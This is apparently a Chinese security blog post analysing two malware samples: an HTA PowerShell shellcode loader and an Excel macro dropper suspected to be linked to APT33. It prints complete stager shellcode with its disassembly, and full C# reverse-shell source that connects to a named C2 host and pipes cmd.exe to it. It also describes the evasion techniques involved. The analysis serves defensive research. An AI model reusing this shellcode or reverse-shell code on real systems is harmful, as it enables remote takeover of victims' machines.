样本分析 十二月 08, 2019

两份样本分析记录总结

文章字数 16k 阅读约需 14 mins. 阅读次数 0

两份样本分析记录总结

前言:

此样本,大佬说有可能是假旗活动,暂时没法实锤是那组织,但值得一提是样本的手法和APT33的比较相似。

样本一:

分析:

样本信息:

样本名称 文件大小 MD5
Launcher (scrambled).hta 14.41 KB 85486b71ff7234205e0d18153ac0f7ed

该样本类型为hta,代码里面极有可能调用ActiveXObject对象来执行WScript.Shell
hta_code

补充:HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,

这个是uincode编码解一下,果然调用了WScript.Shell,下面还有一段是powershell的混淆
js_decode

这里有个小技巧,我们UE修改一下代码
ue

然后重新执行便可
hta_run

很明显的base64,直接decode一下,注意decode后有这种情况:
base64_decode

我们直接将乱码字符删除掉就行,这个不影响,最后可以还原代码

稍微整理后的代码,可以看见很明显的开辟内存执行shellcode,这里也是ps1脚本核心执行流:
ps1_core

很明显的开辟内存执行shellcode

完整shellcode:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xff\xfe\xfd\xfc\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3

这里我们把是,shellcode丢OD里面可以看到汇编代码:

004E06D0 >    FC            cld
004E06D1      E8 89000000   call    004E075F
004E06D6      60            pushad
004E06D7      89E5          mov     ebp, esp
004E06D9      31D2          xor     edx, edx
004E06DB      64:8B52 30    mov     edx, dword ptr fs:[edx+30]
004E06DF      8B52 0C       mov     edx, dword ptr [edx+C]
004E06E2      8B52 14       mov     edx, dword ptr [edx+14]
004E06E5      8B72 28       mov     esi, dword ptr [edx+28]
004E06E8      0FB74A 26     movzx   ecx, word ptr [edx+26]
004E06EC      31FF          xor     edi, edi
004E06EE      31C0          xor     eax, eax
004E06F0      AC            lods    byte ptr [esi]
004E06F1      3C 61         cmp     al, 61
004E06F3      7C 02         jl      short 004E06F7
004E06F5      2C 20         sub     al, 20
004E06F7      C1CF 0D       ror     edi, 0D
004E06FA      01C7          add     edi, eax
004E06FC    ^ E2 F0         loopd   short 004E06EE
004E06FE      52            push    edx
004E06FF      57            push    edi
004E0700      8B52 10       mov     edx, dword ptr [edx+10]
004E0703      8B42 3C       mov     eax, dword ptr [edx+3C]
004E0706      01D0          add     eax, edx
004E0708      8B40 78       mov     eax, dword ptr [eax+78]
004E070B      85C0          test    eax, eax
004E070D      74 4A         je      short 004E0759
004E070F      01D0          add     eax, edx
004E0711      50            push    eax
004E0712      8B48 18       mov     ecx, dword ptr [eax+18]
004E0715      8B58 20       mov     ebx, dword ptr [eax+20]
004E0718      01D3          add     ebx, edx
004E071A      E3 3C         jecxz   short 004E0758
004E071C      49            dec     ecx
004E071D      8B348B        mov     esi, dword ptr [ebx+ecx*4]
004E0720      01D6          add     esi, edx
004E0722      31FF          xor     edi, edi
004E0724      31C0          xor     eax, eax
004E0726      AC            lods    byte ptr [esi]
004E0727      C1CF 0D       ror     edi, 0D
004E072A      01C7          add     edi, eax
004E072C      38E0          cmp     al, ah
004E072E    ^ 75 F4         jnz     short 004E0724
004E0730      037D F8       add     edi, dword ptr [ebp-8]
004E0733      3B7D 24       cmp     edi, dword ptr [ebp+24]
004E0736    ^ 75 E2         jnz     short 004E071A
004E0738      58            pop     eax
004E0739      8B58 24       mov     ebx, dword ptr [eax+24]
004E073C      01D3          add     ebx, edx
004E073E      66:8B0C4B     mov     cx, word ptr [ebx+ecx*2]
004E0742      8B58 1C       mov     ebx, dword ptr [eax+1C]
004E0745      01D3          add     ebx, edx
004E0747      8B048B        mov     eax, dword ptr [ebx+ecx*4]
004E074A      01D0          add     eax, edx
004E074C      894424 24     mov     dword ptr [esp+24], eax
004E0750      5B            pop     ebx
004E0751      5B            pop     ebx
004E0752      61            popad
004E0753      59            pop     ecx
004E0754      5A            pop     edx
004E0755      51            push    ecx
004E0756      FFE0          jmp     eax
004E0758      58            pop     eax
004E0759      5F            pop     edi
004E075A      5A            pop     edx
004E075B      8B12          mov     edx, dword ptr [edx]
004E075D    ^ EB 86         jmp     short 004E06E5
004E075F      5D            pop     ebp
004E0760      68 33320000   push    3233
004E0765      68 7773325F   push    5F327377
004E076A      54            push    esp
004E076B      68 4C772607   push    726774C
004E0770      FFD5          call    ebp
004E0772      B8 90010000   mov     eax, 190
004E0777      29C4          sub     esp, eax
004E0779      54            push    esp
004E077A      50            push    eax
004E077B      68 29806B00   push    6B8029
004E0780      FFD5          call    ebp
004E0782      50            push    eax
004E0783      50            push    eax
004E0784      50            push    eax
004E0785      50            push    eax
004E0786      40            inc     eax
004E0787      50            push    eax
004E0788      40            inc     eax
004E0789      50            push    eax
004E078A      68 EA0FDFE0   push    E0DF0FEA
004E078F      FFD5          call    ebp
004E0791      97            xchg    eax, edi
004E0792      6A 05         push    5
004E0794      68 FFFEFDFC   push    FCFDFEFF
004E0799      68 020001BB   push    BB010002
004E079E      89E6          mov     esi, esp
004E07A0      6A 10         push    10
004E07A2      56            push    esi
004E07A3      57            push    edi
004E07A4      68 99A57461   push    6174A599
004E07A9      FFD5          call    ebp
004E07AB      85C0          test    eax, eax
004E07AD      74 0C         je      short 004E07BB
004E07AF      FF4E 08       dec     dword ptr [esi+8]
004E07B2    ^ 75 EC         jnz     short 004E07A0
004E07B4      68 F0B5A256   push    56A2B5F0
004E07B9      FFD5          call    ebp
004E07BB      6A 00         push    0
004E07BD      6A 04         push    4
004E07BF      56            push    esi
004E07C0      57            push    edi
004E07C1      68 02D9C85F   push    5FC8D902
004E07C6      FFD5          call    ebp
004E07C8      8B36          mov     esi, dword ptr [esi]
004E07CA      6A 40         push    40
004E07CC      68 00100000   push    1000
004E07D1      56            push    esi
004E07D2      6A 00         push    0
004E07D4      68 58A453E5   push    E553A458
004E07D9      FFD5          call    ebp
004E07DB      93            xchg    eax, ebx
004E07DC      53            push    ebx
004E07DD      6A 00         push    0
004E07DF      56            push    esi
004E07E0      53            push    ebx
004E07E1      57            push    edi
004E07E2      68 02D9C85F   push    5FC8D902
004E07E7      FFD5          call    ebp
004E07E9      01C3          add     ebx, eax
004E07EB      29C6          sub     esi, eax
004E07ED      85F6          test    esi, esi
004E07EF    ^ 75 EC         jnz     short 004E07DD
004E07F1      C3            retn

此shellcode,和cs生成的shellcode,大致相同,我手动调了一下,但是win上的逆向我太菜了,没看懂。

此样本的特点就是调用powershell,来开辟内存执行shellcode,这是核心。
其攻击流程,any,run上给出的进程图基本相同,但shellcode我没调动,就没继续跟了,如同所示:
流程图

此样本的手法,还是有不错的免杀效果:
virustotal1

样本二:

分析:

样本信息:

样本名称 文件大小 MD5
2.2.CS_revs-MWC-MP.xls 134.00 Kb 43f1424da62a50e01db5f3acd86bfa00

此样本第一步利用宏代码来释放载荷
vbs_code1

此函数主要做hex解码工作
hex_code

这是vbs核心执行流,在这里通过上面的hex字符串解码出一个c#代码文件,和xml模板文件
vbs_core

很明显此处调用了Microsoft.Workflow.Compiler.exe来动态编译载荷,我们将上面这个base64的字符解码出来,可以得到两个文件:notes.txt,important.txt

其中notes.txt是c#代码,如下:

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Net.Security;
using System.Security.Authentication;
using System.Workflow.Activities;


public class Ovoda : SequentialWorkflowActivity
{
    static StreamWriter streamWriter;
    public Ovoda()
    {
        string host = "sts.gtabnk.com";
        int port = Int32.Parse("443");
        string envvar = "cmd.exe";
        string arguments = " "; 
        int xorkey = Int32.Parse("00");


        string envvar1 = "";
        for (int i = 0; i < envvar.Length; i++)
        {
            char c = (char)(envvar[i] ^ xorkey);
            envvar1 += c;
        }

        //Console.WriteLine("executing {0} {3} and redirecting stdout / stderr to {1}:{2}", envvar1, host, port, arguments);

        using (TcpClient client = new TcpClient(host, port))
        {
            using (SslStream stream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null))
            {
                stream.AuthenticateAsClient(host, null, SslProtocols.Tls12, false);
                using (StreamReader rdr = new StreamReader(stream))
                {
                    streamWriter = new StreamWriter(stream);
                    StringBuilder strInput = new StringBuilder();
                    StringBuilder veliyepo = new StringBuilder();
                    veliyepo.Append("exit");
                    Process p = new Process();
                    //p.StartInfo.FileName = System.Environment.GetEnvironmentVariable(envvar1); 
                    p.StartInfo.FileName = envvar1;
                    p.StartInfo.Arguments = arguments;
                    p.StartInfo.CreateNoWindow = true;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardInput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                    p.ErrorDataReceived += new DataReceivedEventHandler(CmdErrorDataHandler);
                    p.Start();
                    p.BeginOutputReadLine();
                    p.BeginErrorReadLine();

                    while (true)
                    {
                        strInput.Append(rdr.ReadLine());
                        //Console.WriteLine("Excuting: {0}", strInput);
                        //if (strInput == veliyepo)
                        //{
                        //    p.StandardInput.WriteLine("exit");
                        //    break;
                        //}
                        p.StandardInput.WriteLine(strInput);
                        strInput.Remove(0, strInput.Length);
                    }
                }
            }
        }
    }

    public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
    {
        // 100% correct way of validating the cert.
        return true;
    }

    private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();
        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }

    private static void CmdErrorDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
    {
        StringBuilder strOutput = new StringBuilder();
        if (!String.IsNullOrEmpty(outLine.Data))
        {
            try
            {
                strOutput.Append(outLine.Data);
                streamWriter.WriteLine(strOutput);
                streamWriter.Flush();
            }
            catch (Exception) { }
        }
    }

}

很明显,里面已经暴露c2地址,
important.txt就是一份xml文档,用于编译
关于MWC动态编译代码过免杀可以参考这篇文章:如何利用Microsoft.Workflow.Comiler.exe执行未签名的任意代码
这里提一句:Microsoft.Workflow.Comiler.exe这个程序需要4.0以上的.NET才有

实际上这份样本有个有意思的地方
vmcheck

这是一个虚拟机检测,导致any.run上并没有给出进程图

此样本的手法主要就是利用宏代码,Hex_Encode,base64隐藏代码,这个手法也很向APT33,此手法在virustotal上检测现在也仅有12家报毒,火绒现在已杀
virustotal2

总结:

此次分析,针对两个样本,主要是脚本代码类型的分析,文中也许有很多地方没有讲到,而是直接上修复或整理后的代码,不得不说恶意代码分析,在脚本类型这一块主要就是混淆,高强度的混淆对分析人员来说是一个很大的挑战,需要代码功底足够扎实,因为不仅仅一种语言,各种各样的脚本,但多是大同小异,所以扎实代码功底可以让我们应付起来要轻松一些,样本一的shellcode,有时间我还会在继续调试追踪,看看能不能分析出来,win32平台上的分析,我还是菜了很多

0%